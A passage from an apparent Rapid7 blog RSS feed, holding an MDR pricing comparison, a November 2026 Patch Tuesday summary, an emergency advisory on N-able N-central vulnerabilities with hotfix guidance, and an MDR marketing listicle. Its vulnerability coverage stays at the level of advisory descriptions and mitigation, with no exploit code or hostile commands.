undefined;'><strong>Rapid7’s approach</strong></span></p></td></tr><tr><td><p style="direction: ltr;"><span style='font-size: undefined;'>Breadth of collection</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>Which required sources fit within this budget?</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>A list of included sources, exclusions, and extra charges.</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>Asset-based pricing with unlimited ingestion, supporting native and third-party telemetry across endpoint, cloud, identity, email, and network. Confirm coverage for your required sources in the proposal. </span></p></td></tr><tr><td><p style="direction: ltr;"><span style='font-size: undefined;'>Depth of collection</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>Which events and fields are collected, filtered, or summarized?</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>Sample records showing what reaches the investigation platform.</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>Rapid7 ingests and normalizes telemetry from supported technologies. Use the demonstration or proof of concept to verify which events and fields your integrations provide. </span></p></td></tr><tr><td><p style="direction: ltr;"><span style='font-size: undefined;'>Detection value</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>How does this data support the threats we need to detect?</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>A detection walkthrough showing its data dependencies.</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>Investigations combine security telemetry with vulnerability and asset-risk context. Completed threat hunts show the rationale, data examined, queries, and any linked investigations.</span></p></td></tr><tr><td><p style="direction: ltr;"><span style='font-size: undefined;'>Investigation history</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>How long is data retained, and how can analysts search it?</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>A search against older records, with retrieval costs explained.</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>Rapid7 provides 13 months of log retention. Confirm the history available for each data type: 3rd party endpoint alerts have different availability from log-based searches. </span></p></td></tr><tr><td><p style="direction: ltr;"><span style='font-size: undefined;'>Response scope</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>What will your team do after validating a threat?</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>A case walkthrough and documented responsibilities.</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>Rapid7 MDR includes unlimited incident response, covering investigation, containment, and threat eradication. Incident reports document findings, attacker timelines, and recommended corrective actions. </span></p></td></tr><tr><td><p style="direction: ltr;"><span style='font-size: undefined;'>Cost variability</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>What changes the bill as assets or data volumes grow?</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>A calculation using your growth assumptions.</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>Asset-based pricing with unlimited ingestion removes data volume as the billing unit. Request a written calculation for additional billable assets and changes to service scope. </span></p></td></tr></tbody></table><h2><span style='font-size: undefined;'>What Keyloop’s experience shows about MDR value</span></h2><p style="direction: ltr;"><span style='font-size: undefined;'>For Alan Simpson, now Rapid7’s Field CISO, the ability to collect previously restricted data made a practical difference during his time at </span><a href="https://keyloop.com/" target="_blank"><span style='font-size: undefined;'>Keyloop</span></a><span style='font-size: undefined;'>: </span><span style='font-size: undefined;'><em>"We were previously ingesting around 250 GB a day into Splunk. After moving to Rapid7, we reached 1.4 TB a day, including NetFlow, full DNS logging, and web application firewall logs. These were sources we’d previously had to limit or simply weren’t collecting, so we gained much better visibility and coverage."</em></span></p><p style="direction: ltr;"><span style='font-size: undefined;'>The change also extended the history available for investigation, with greater certainty about how long that evidence would remain accessible: </span><span style='font-size: undefined;'><em>"We also moved from around 90 days of retention in Splunk to 13 months with Rapid7. Even those 90 days couldn’t be relied on, as retention depended on how much data we were ingesting at the time. Having a longer, predictable history made a real difference."</em></span></p><p style="direction: ltr;"><span style='font-size: undefined;'>Price predictability was key as Keyloop grew through seven mergers and acquisitions, each bringing a different data profile. His experience illustrates why collection and retention belong in the buying decision, although these figures alone do not establish a like-for-like cost saving.</span></p><h2 style="direction: ltr;">How to compare MDR pricing beyond log volume</h2><p style="direction: ltr;"><span style='font-size: undefined;'>Once you understand which data fits within the quote, examine what the provider can do with it. Collecting more logs can close visibility gaps, but useful investigations depend on relevant events, consistent timestamps, and enough context to connect activity to a user or system. AI-assisted investigation also depends on that foundation: a required event that was never recorded leaves an investigation gap.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>Infrastructure design can improve the usefulness of that evidence. Routing access to a management interface through a controlled path, for example, creates a clearer monitoring point and helps distinguish expected access from activity requiring investigation. This is why log volume and detection-rule counts need to be assessed alongside how the environment operates.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>During a proof of concept, choose a threat scenario relevant to your business and ask the provider to demonstrate the detection, evidence gathering, and response. You should be able to see which records support the conclusion and what happens if a required source is unavailable.</span></p><h2 style="direction: ltr;">How will your MDR cost change as you grow?</h2><p style="direction: ltr;"><span style='font-size: undefined;'>Repeat the comparison using a plausible change, such as an acquisition, additional cloud workloads, or enabling a previously excluded log source. For asset-based pricing, calculate the effect of additional billable assets and changes in scope. For ingestion-based pricing, examine increased daily volume, applicable commitments, and retention requirements. Assuming asset counts stay the same, at Rapid7 contract renewals are capped at 5% uplift, for the contract term, not per year.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>Ask both providers to document the assumptions, including implementation effort, required licenses, and work your team will continue to perform. You can then assess what the budget covers today, which evidence remains unavailable, and what it would cost to accommodate the changes you expect.</span></p><p style="direction: ltr;"><a href="/services/managed-detection-and-response-mdr/" target="_self"><span style='font-size: undefined;'>Explore Rapid7 MDR</span></a><span style='font-size: undefined;'> and discuss pricing based on your assets, required data sources, retention needs, and response scope.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'><em>*Referenced Rapid7 contract terms and capabilities are correct at time of publishing and are subject to change.</em></span></p>]]></description>
      <link>https://www.rapid7.com/blog/post/dr-mdr-pricing-comparing-asset-ingestion-based-ingestion-costs</link>
      <guid isPermaLink="false">bltc255c1f081b42b7e</guid>
      <category><![CDATA[MDR Must-Haves]]></category>
      <category><![CDATA[Managed Detection and Response (MDR)]]></category><dc:creator><![CDATA[Emma Burdett]]></dc:creator>
      <pubDate>Fri, 13 Nov 2026 16:37:29 GMT</pubDate><media:content url="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt09a532eac4a02570/6852c5968e72c44b89691ca4/PSN-gov-showcase-hero-image-2.png" medium="image" />
    </item>
    <item>
      <title><![CDATA[Patch Tuesday - November 2026]]></title>
      <description><![CDATA[<p style="direction: ltr;"><span style='font-size: undefined;'>Microsoft is publishing 1,092 own-product vulnerabilities on November 2026 Patch Tuesday, including </span>745 <span style='font-size: undefined;'>vulnerabilities in Windows. Until a few months ago, these volumes would have been unimaginable, but if anything, this month feels like a slight reprieve.</span></p><p><span style='font-size: undefined;'>The jury is still out on whether patching many more vulnerabilities will lead to better security outcomes; every code change to resolve a known vulnerability could easily introduce new hidden treasure for researchers or threat actors to unearth in the future.</span></p><p><span style='font-size: undefined;'>Despite the vast uptick in volume during 2026, there has been no accompanying increase in the number of vulnerabilities known to be exploited in the wild. Microsoft is aware of exploitation in the wild for just one of the vulnerabilities published today, with no known public disclosure at all this month.</span></p><h3 style="direction: ltr;"><span style='color:rgb(67, 67, 67);'>Outlook: zero-day spoofing</span></h3><p style="direction: ltr;"><span style='font-size: undefined;'>Imagine coming home and checking your mailbox to find a postcard. You admire the non-specific image of a tropical beach at sunset, and flip it over to scan the handwriting on the back, which looks vaguely familiar. It’s addressed to you, but you can’t make out the signature, and the message is short and generic. Is that real handwriting, or has this been printed? Probably marketing material.</span></p><p><span style='font-size: undefined;'>You put the card in the recycling and, since life is busy, you move on and forget about it. Somehow, you remain entirely unaware that, immediately after reading the postcard, you took out your phone and sent high-resolution images of your front door key to a number you’ve never contacted before.</span></p><p><span style='font-size: undefined;'>Is this sketch just some rather questionable science fiction? Yes, hopefully, but what if that non-specific postcard was instead a malicious file in your Outlook inbox? Now we’re talking about </span><a href="https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2026-124194"><span style='font-size: undefined;'>CVE-2026-124194</span></a><span style='font-size: undefined;'>, an exploited-in-the-wild spoofing vulnerability. Merely opening a specially crafted malicious file causes Outlook to silently connect to an attacker-controlled location and leak the user’s NTLM v2 hash. All supported versions of classic Outlook receive patches.</span></p><p><span style='font-size: undefined;'>The relatively low CVSS v3.1 base score of 6.5 does not tell the full story here, since this vulnerability provides value for both commodity attackers working to harvest initial access at scale, and also more targeted campaigns by more sophisticated threat actors.</span></p><p><span style='font-size: undefined;'>The NTLM v2 hash can be relayed live to impersonate the user against another service, at least where those services do not implement adequate safeguards such as message signing for </span><a href="https://learn.microsoft.com/en-us/windows-server/storage/file-server/smb-signing-overview"><span style='font-size: undefined;'>SMB</span></a><span style='font-size: undefined;'> or </span><a href="https://learn.microsoft.com/en-us/troubleshoot/windows-server/active-directory/enable-ldap-signing-in-windows-server"><span style='font-size: undefined;'>LDAP</span></a><span style='font-size: undefined;'>, as well as Extended Protection for Authentication for </span><a href="https://learn.microsoft.com/en-us/exchange/plan-and-deploy/post-installation-tasks/security-best-practices/exchange-extended-protection"><span style='font-size: undefined;'>Exchange</span></a><span style='font-size: undefined;'> or </span><a href="https://support.microsoft.com/en-us/servicing/os/windows-server/2021/07/kb5005413-mitigating-ntlm-relay-attacks-on-active-directory-certificate-services-ad-cs"><span style='font-size: undefined;'>Active Directory Certificate Services</span></a><span style='font-size: undefined;'>. Alternatively, the NTLM v2 hash can be cracked offline by a motivated attacker to retrieve the underlying credential. The Preview Pane is not a vector, which will help limit the real-world impact somewhat.</span></p><h3 style="direction: ltr;"><span style='color:rgb(67, 67, 67);'>Windows Schannel: critical pre-auth RCE</span></h3><p></p><p style="direction: ltr;"><span style='font-size: undefined;'>A pre-authentication remote code execution (RCE) vulnerability in Windows will always attract attention. </span><a href="https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2026-119952"><span style='font-size: undefined;'>CVE-2026-119952</span></a><span style='font-size: undefined;'> allows an attacker to execute code on a target system by sending specially crafted malicious packets. Since the vulnerable component is Schannel, which is </span><a href="https://learn.microsoft.com/en-us/windows-server/security/tls/tls-ssl-schannel-ssp-overview"><span style='font-size: undefined;'>Microsoft’s implementation of Transport Layer Security (TLS)</span></a><span style='font-size: undefined;'>, attackers may not have to look very far to find vulnerable endpoints.</span></p><p><span style='font-size: undefined;'>The advisory provides some comfort by pointing out that specific conditions are required for exploitability, which reduces the likelihood of broad exploitation, but the advisory still assesses exploitation as more likely, so Microsoft presumably expects that the development of reliable exploit code is feasible. In many cases, there will be no need for an attacker to have an existing foothold on the same subnet.</span></p><p><span style='font-size: undefined;'>The execution context likely depends on the vulnerable service, which points to the evergreen need for least privilege architecture, but it also means that we cannot exclude the possibility of pre-auth RCE as SYSTEM in some cases.</span></p><h3 style="direction: ltr;"><span style='color:rgb(67, 67, 67);'>Exchange/Windows Search: critical pre-auth RCE</span></h3><p></p><p style="direction: ltr;"><span style='font-size: undefined;'>Could someone take control of your Exchange server by sending a single email? In short: yes. Microsoft offers customers tight integration between various business-critical components. Exchange running on Windows is Microsoft on Microsoft, and the Windows Search component indexes email on behalf of Exchange.</span></p><p><span style='font-size: undefined;'>An attacker aiming to exploit </span><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-116928"><span style='font-size: undefined;'>CVE-2026-116928</span></a><span style='font-size: undefined;'> relies on this helpful synergy to achieve pre-auth RCE on the server by sending a malicious attachment, which Exchange will process automatically. How’s that for low attack complexity Although the advisory does not specify the context of execution, we should assume SYSTEM, since several of </span><a href="https://learn.microsoft.com/en-us/exchange/plan-and-deploy/deployment-ref/services-overview"><span style='font-size: undefined;'>the services which might be involved</span></a><span style='font-size: undefined;'> do run with a high privilege level.</span></p><p><span style='font-size: undefined;'>Since the patches are for Windows OS rather than Exchange itself, there’s no need to worry about which version of Exchange you’re running, so long as you are running only Exchange Subscription Edition, since </span><a href="https://learn.microsoft.com/en-us/troubleshoot/exchange/administration/exchange-2019-2016-end-of-support"><span style='font-size: undefined;'>all previous versions of Exchange are now fully beyond end of support</span></a><span style='font-size: undefined;'>.</span></p><h3 style="direction: ltr;"><span style='color:rgb(67, 67, 67);'>Microsoft lifecycle update</span></h3><p></p><p style="direction: ltr;"><span style='font-size: undefined;'>There are fewer Microsoft product lifecycle changes in November 2026 than last month. As of Nov 11, 2026, </span><a href="https://learn.microsoft.com/lifecycle/products/microsoft-net-and-net-core"><span style='font-size: undefined;'>.NET 8 Long Term Servicing</span></a><span style='font-size: undefined;'> channel moves past its release end date, along with </span><a href="https://learn.microsoft.com/lifecycle/products/powershell?branch=live"><span style='font-size: undefined;'>PowerShell 7.4 LTS</span></a><span style='font-size: undefined;'>, and the 23H2 versions of the </span><a href="https://learn.microsoft.com/lifecycle/products/windows-11-enterprise-and-education?branch=live"><span style='font-size: undefined;'>Enterprise, Education</span></a><span style='font-size: undefined;'>, and </span><a href="https://learn.microsoft.com/lifecycle/products/windows-11-iot-enterprise?branch=live"><span style='font-size: undefined;'>IoT</span></a><span style='font-size: undefined;'> editions of Windows 11.</span></p><h2>Summary charts</h2><figure style="margin: 0"><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/bltd2890dea5f53ded7/6af3a073568c2e6f945714ca/2026-11-vuln_count_component.png" class="embedded-asset" content-type-uid="sys_assets" type="asset" alt="2026-11-vuln_count_component.png" asset-alt="2026-11-vuln_count_component.png" style="width: auto" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/bltd2890dea5f53ded7/6af3a073568c2e6f945714ca/2026-11-vuln_count_component.png" data-sys-asset-uid="bltd2890dea5f53ded7" data-sys-asset-filename="2026-11-vuln_count_component.png" data-sys-asset-contenttype="image/png" data-sys-asset-alt="2026-11-vuln_count_component.png" sys-style-type="display"/></figure><figure style="margin: 0"><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/bltd2819768e8e7c36a/6af3a0736166e4b363197653/2026-11-vuln_count_impact-component-heatmap.png" class="embedded-asset" content-type-uid="sys_assets" type="asset" alt="2026-11-vuln_count_impact-component-heatmap.png" asset-alt="2026-11-vuln_count_impact-component-heatmap.png" style="width: auto" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/bltd2819768e8e7c36a/6af3a0736166e4b363197653/2026-11-vuln_count_impact-component-heatmap.png" data-sys-asset-uid="bltd2819768e8e7c36a" data-sys-asset-filename="2026-11-vuln_count_impact-component-heatmap.png" data-sys-asset-contenttype="image/png" data-sys-asset-alt="2026-11-vuln_count_impact-component-heatmap.png" sys-style-type="display"/></figure><figure style="margin: 0"><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt336ce53c8ad621cf/6af3a073a9851dd9f70be52d/2026-11-vuln_count_impact.png" class="embedded-asset" content-type-uid="sys_assets" type="asset" alt="2026-11-vuln_count_impact.png" asset-alt="2026-11-vuln_count_impact.png" style="width: auto" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt336ce53c8ad621cf/6af3a073a9851dd9f70be52d/2026-11-vuln_count_impact.png" data-sys-asset-uid="blt336ce53c8ad621cf" data-sys-asset-filename="2026-11-vuln_count_impact.png" data-sys-asset-contenttype="image/png" data-sys-asset-alt="2026-11-vuln_count_impact.png" sys-style-type="display"/></figure><p></p><h2>Update history</h2><ul><li><strong>2026-11-12</strong>: corrected the number of Windows OS vulnerabilities.</li></ul>]]></description>
      <link>https://www.rapid7.com/blog/post/em-patch-tuesday-november-2026</link>
      <guid isPermaLink="false">blt60592536b37bd48e</guid>
      <category><![CDATA[Patch Tuesday]]></category>
      <category><![CDATA[Vulnerability Management]]></category><dc:creator><![CDATA[Adam Barnett]]></dc:creator>
      <pubDate>Tue, 10 Nov 2026 21:55:37 GMT</pubDate><media:content url="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt9952397815d84355/6849acff3860836b5c360685/patch-tuesday-repeated.webp" medium="image" />
    </item>
    <item>
      <title><![CDATA[Critical vulnerabilities in N-able N-central prompt hosted shutdown]]></title>
      <description><![CDATA[<h2 style="direction: ltr;">Overview</h2><p style="direction: ltr;"><span style='font-size: undefined;'>On November 9, 2026, N-able </span><a href="https://uptime.n-able.com/event/202580/"><span style='font-size: undefined;'>announced</span></a><span style='font-size: undefined;'> that it was responding to the public disclosure of critical vulnerabilities affecting </span><a href="https://www.n-able.com/products/n-central-rmm/network-and-device-management"><span style='font-size: undefined;'>N-central</span></a><span style='font-size: undefined;'>, its remote monitoring and management (RMM) platform.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>In a public disclosure titled Able2Shell, an independent researcher has published details and proof-of-concept (PoC) code covering 33 issues. According to the disclosure, the issues include unauthenticated remote code execution (RCE), privilege escalation to root, credential disclosure, and unauthorized account creation. One unauthenticated chain combines XML external entity (XXE) and session-handling weaknesses to execute code as the </span><span style='color:rgb(24, 128, 56);font-size: undefined;'>nable</span><span style='font-size: undefined;'> service account. Other demonstrated chains involve an administrator viewing malicious patch metadata or use ProductAdmin credentials. Rapid7 Intelligence is currently triaging the newly published details.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>Before the hotfix release on November 10, N-able reported scanning activity associated with the published PoC code and said it had no evidence that any customer environment had been successfully exploited. The vendor advised keeping N-central deployments offline while it developed and validated a hotfix. Hosted N-central classic environments were offline, according to the same notice. That notice did not yet include CVE identifiers or CVSS scores.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>N-central is used by managed service providers (MSPs) and enterprise IT teams to administer endpoints and infrastructure. Compromise of an RMM server can put downstream managed environments at risk. N-central has previously been targeted through separate vulnerabilities, including an authentication bypass </span><a href="https://www.rapid7.com/blog/post/etr-cve-2026-18577-n-able-n-central-authentication-bypass-exploited-in-the-wild/"><span style='font-size: undefined;'>covered by Rapid7 in August 2026</span></a><span style='font-size: undefined;'>. Given the platform's administrative reach and the availability of public exploit code, Rapid7 recommends treating the current disclosure as an emergency.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'><strong>Update #1:</strong></span><span style='font-size: undefined;'> On November 10, 2026, N-able </span><a href="https://status.n-able.com/2026/11/10/n-central-2026-4-hf2-release-notes/"><span style='font-size: undefined;'>released N-central 2026.4 Hotfix 2</span></a><span style='font-size: undefined;'> (build </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>2026.4.1.26</span></span><span style='font-size: undefined;'>), addressing seven CVEs. The vendor </span><a href="https://uptime.n-able.com/event/202584/"><span style='font-size: undefined;'>plans a follow-up hotfix</span></a><span style='font-size: undefined;'> with further security updates. On November 11, N-able confirmed that hosted N-central servers across all regions had been successfully upgraded.</span></p><h2 style="direction: ltr;">Mitigation guidance</h2><p style="direction: ltr;"><span style='font-size: undefined;'><strong>Rapid7 strongly recommends that organizations operating on-premises N-central servers upgrade to N-central </strong></span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'><strong>2026.4 Hotfix 2</strong></span></span><span style='font-size: undefined;'><strong> (build </strong></span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'><strong>2026.4.1.26</strong></span></span><span style='font-size: undefined;'><strong>) on an emergency basis outside of normal patching cycles, and keep servers offline until successfully upgraded.</strong></span><span style='font-size: undefined;'> Hosted servers are upgraded by N-able.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>Customers in both hosted and on-premises environments must also upgrade their Agents and Probes. To maintain communication, upgrade Agents first, then Probes, following the </span><a href="https://status.n-able.com/2026/11/10/n-central-2026-4-hf2-release-notes/"><span style='font-size: undefined;'>vendor's compatibility guidance</span></a><span style='font-size: undefined;'> for the Patch Management Engine (PME).</span></p><ul><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'><strong>Affected versions:</strong></span><span style='font-size: undefined;'> The researcher reports testing N-central Appliance </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>2026.4.0.31</span></span><span style='font-size: undefined;'>. N-able's current notice does not specify the full affected-version range.</span></p></li><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'><strong>Fixed versions:</strong></span><span style='font-size: undefined;'> N-central </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>2026.4 Hotfix 2</span></span><span style='font-size: undefined;'> (build </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>2026.4.1.26</span></span><span style='font-size: undefined;'>) addresses the seven CVEs listed below.</span></p></li></ul><p style="direction: ltr;"><span style='font-size: undefined;'>According to </span><a href="https://status.n-able.com/2026/11/10/n-central-2026-4-hf2-release-notes/"><span style='font-size: undefined;'>N-able's release notes</span></a><span style='font-size: undefined;'>, the hotfix addresses:</span></p><p></p><table><colgroup data-width='500'><col style="width:23.076923076923077%"/><col style="width:76.92307692307693%"/></colgroup><thead><tr><th><p style="direction: ltr;"><span style='font-size: undefined;'><strong>CVE</strong></span></p></th><th><p style="direction: ltr;"><span style='font-size: undefined;'><strong>Description</strong></span></p></th></tr></thead><tbody><tr><td><p style="direction: ltr;"><a href="https://www.rapid7.com/db/vulnerabilities/cve-2026-125883/"><span style='font-size: undefined;'>CVE-2026-125883</span></a></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>Multiple XXE vulnerabilities</span></p></td></tr><tr><td><p style="direction: ltr;"><a href="https://www.rapid7.com/db/vulnerabilities/cve-2026-125878/"><span style='font-size: undefined;'>CVE-2026-125878</span></a></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>Multiple OGNL injection vulnerabilities</span></p></td></tr><tr><td><p style="direction: ltr;"><a href="https://www.rapid7.com/db/vulnerabilities/cve-2026-125879/"><span style='font-size: undefined;'>CVE-2026-125879</span></a></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>Local privilege escalation to root through </span><span style='color:rgb(24, 128, 56);font-size: undefined;'>nable</span><span style='font-size: undefined;'>-writable syslog-ng configuration</span></p></td></tr><tr><td><p style="direction: ltr;"><a href="https://www.rapid7.com/db/vulnerabilities/cve-2026-125880/"><span style='font-size: undefined;'>CVE-2026-125880</span></a></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>Stored XSS through MMS3 patch metadata in an administrator context</span></p></td></tr><tr><td><p style="direction: ltr;"><a href="https://www.rapid7.com/db/vulnerabilities/cve-2026-125881/"><span style='font-size: undefined;'>CVE-2026-125881</span></a></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>Schema-hint SSRF through service-import schema validation</span></p></td></tr><tr><td><p style="direction: ltr;"><a href="https://www.rapid7.com/db/vulnerabilities/cve-2026-125882/"><span style='font-size: undefined;'>CVE-2026-125882</span></a></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>RCE through file-repository upload path traversal; credited to Nate Fair, Sprocket Security</span></p></td></tr><tr><td><p style="direction: ltr;"><a href="https://www.rapid7.com/db/vulnerabilities/cve-2026-91000/"><span style='font-size: undefined;'>CVE-2026-91000</span></a></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>Local privilege escalation through insecure IPC channels</span></p></td></tr></tbody></table><p></p><p style="direction: ltr;"><span style='font-size: undefined;'>Further security updates are planned in a follow-up hotfix. Organizations should monitor the vendor's guidance and apply subsequent fixes as they become available.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>Rapid7 also recommends reviewing N-central servers and downstream managed systems for signs of compromise and engaging incident responders if suspicious activity is identified.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>For the latest mitigation guidance, please refer to </span><a href="https://uptime.n-able.com/event/202580/"><span style='font-size: undefined;'>N-able's security incident notice</span></a><span style='font-size: undefined;'>.</span></p><h2><span style='font-size: undefined;'>Rapid7 customers</span></h2><h3 style="direction: ltr;"><span style='color:rgb(67, 67, 67);'>Exposure Command, Vulnerability Management, and Nexpose</span></h3><p style="direction: ltr;"><span style='font-size: undefined;'>Exposure Command, Vulnerability Management, and Nexpose customers can identify N-able N-central “potential” vulnerabilities based on presence of software with remote unauthenticated checks with the release on November 11th, 2026. Note that potential check type must be enabled in the scan template before scanning.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>Unauthenticated checks that validate vulnerable versions are in development.</span></p><h3>Intelligence Hub</h3><p style="direction: ltr;"><span style='font-size: undefined;'>Customers leveraging Rapid7’s Intelligence Hub can access Suricata detection rules for CVE-2026-125883, CVE-2026-125878, CVE-2026-125879, CVE-2026-125880, CVE-2026-125881, and CVE-2026-125882.</span></p><h2 style="direction: ltr;">Updates</h2><ul><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'><strong>November 10, 2026</strong></span><span style='font-size: undefined;'>: Initial publication.</span></p></li><li><span style='font-size: undefined;'><strong>November 11, 2026</strong></span><span style='font-size: undefined;'>: Added hotfix availability, seven CVE identifiers, hosted upgrade confirmation, and updated remediation guidance. Noted the planned follow-up hotfix.</span></li><li><span style='font-size: undefined;'><strong>November 11, 2026</strong></span><span style='font-size: undefined;'>: Added availability of Suricata detection rules within Intelligence Hub.</span></li><li><span style='font-size: undefined;'><strong>November 11, 2026: </strong></span><span style='font-size: undefined;'>Added Exposure Command, Vulnerability Management, and Nexpose subsection under the Rapid7 customers section.</span></li></ul>]]></description>
      <link>https://www.rapid7.com/blog/post/etr-critical-vulnerabilities-in-n-able-n-central-prompt-hosted-shutdown</link>
      <guid isPermaLink="false">blt3f24d6027e2f88fc</guid>
      <category><![CDATA[Emergent Threat Response]]></category>
      <category><![CDATA[Emerging Threats]]></category>
      <category><![CDATA[Rapid7 Intelligence]]></category><dc:creator><![CDATA[Rapid7]]></dc:creator>
      <pubDate>Tue, 10 Nov 2026 14:20:34 GMT</pubDate><media:content url="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt65a432ba319f4043/6846abddaf18306debe6cf4d/ETR.webp" medium="image" />
    </item>
    <item>
      <title><![CDATA[Five Signs Your MDR is All Alert, No Action]]></title>
      <description><![CDATA[<p style="direction: ltr;"><span style='font-size: undefined;'>Your managed detection and response (MDR) provider flags suspicious activity, and your analyst spends the next hour finding the account, checking logs, and deciding whether anything needs to happen. By the time the investigation is underway, the alert feels less like help and more like a task assignment. </span></p><p style="direction: ltr;"><span style='font-size: undefined;'>MDR should bring your team capacity and expertise when it needs them. If the service keeps handing the hardest work back to your analysts, these five signs can help you work out where the arrangement is falling short.</span></p><h2>1. Every alert arrives with homework</h2><p style="direction: ltr;"><span style='font-size: undefined;'>If your analysts are still sorting through the same recurring false positives, the extra coverage may be creating more work than it removes. Even an alert worth investigating is only so useful when your team has to gather the basic context before it can make a decision. Take a few recent alerts and look at what your provider had already checked when it contacted you. You should be able to see how it separated routine activity from a credible threat, and what it did to stop familiar noise from coming back.</span></p><h2 style="direction: ltr;">2. It spots the fire, but cannot see the fuel</h2><p style="direction: ltr;"><span style='font-size: undefined;'>A suspicious login involving an account with broad access deserves a different response from the same activity on a tightly restricted account. The systems within reach, their importance to the business, and any known weaknesses all help determine what needs attention first. When your MDR leaves your team to assemble that picture during an investigation, valuable time goes into finding context that could have informed the response from the start. Find out how your provider uses information about assets, identities, vulnerabilities, and current threats, including what it can help you address before an incident occurs.</span></p><h2 style="direction: ltr;">3. Your team gets incident updates, but few useful lessons</h2><p style="direction: ltr;"><span style='font-size: undefined;'>When a provider contains a threat and closes the case, your team should come away with more than a record of what happened. Consider the last significant investigation: did it lead to a clearer detection, a stronger response plan, or a better understanding of how an attacker moved through your environment? If similar activity appears three months later and your analysts have to work through the same questions, the service has missed a chance to make them better prepared. Expertise is most useful when your team can apply some of it next time.</span></p><h2 style="direction: ltr;">4. Your response support has a spending limit</h2><p style="direction: ltr;"><span style='font-size: undefined;'>If an incident is still developing when your included response hours run out, continued specialist support may require another purchasing decision. Limits on hours, incident scope, or responder involvement can turn an agreed service into an unplanned budget request under pressure.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>Ask what happens when an investigation expands across systems or continues longer than expected. Establish whether incident response is unlimited, which activities that includes, how long specialists stay involved, and what could trigger additional charges. When business operations and leadership confidence are already at stake, uncertainty about continued support adds financial and operational pressure at the point you need a clear path forward.</span></p><h2 style="direction: ltr;">5. Your provider’s reports prove it was busy</h2><p style="direction: ltr;"><span style='font-size: undefined;'>A monthly report might show hundreds of alerts reviewed and dozens of investigations opened. That gives you a sense of volume, though it says little about what the provider found or did. Choose a closed investigation and follow it from the initial signal through to the outcome: what evidence was considered, what was ruled out, what action was taken, and when did your team become involved? If you need several calls to piece together that story, the charts are doing a better job of showing activity than the service is of showing its work.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>If several of these signs feel familiar, bring a few real alerts and investigations to your next service review. Ask your provider to show what it investigated, which actions it took, and what improved afterward. The answers will give you a clearer view of the work your MDR is taking on and the work that still lands with your team.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>For more questions to use when reviewing your service, explore the </span><a href="/resources/mdr-buyers-guide/" target="_self"><span style='font-size: undefined;'>MDR buyer’s guide</span></a><span style='font-size: undefined;'>.</span></p>]]></description>
      <link>https://www.rapid7.com/blog/post/five-signs-your-mdr-is-all-alert-no-action</link>
      <guid isPermaLink="false">bltd2e7272611fe591f</guid>
      <category><![CDATA[Managed Detection and Response (MDR)]]></category>
      <category><![CDATA[MDR Must-Haves]]></category><dc:creator><![CDATA[Rapid7]]></dc:creator>
      <pubDate>Tue, 10 Nov 2026 14:04:31 GMT</pubDate><media:content url="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt30cad4cead79d2d3/6846a7113860835cfa35e65d/surface-command.jpg" medium="image" />
    </item>
    <item>
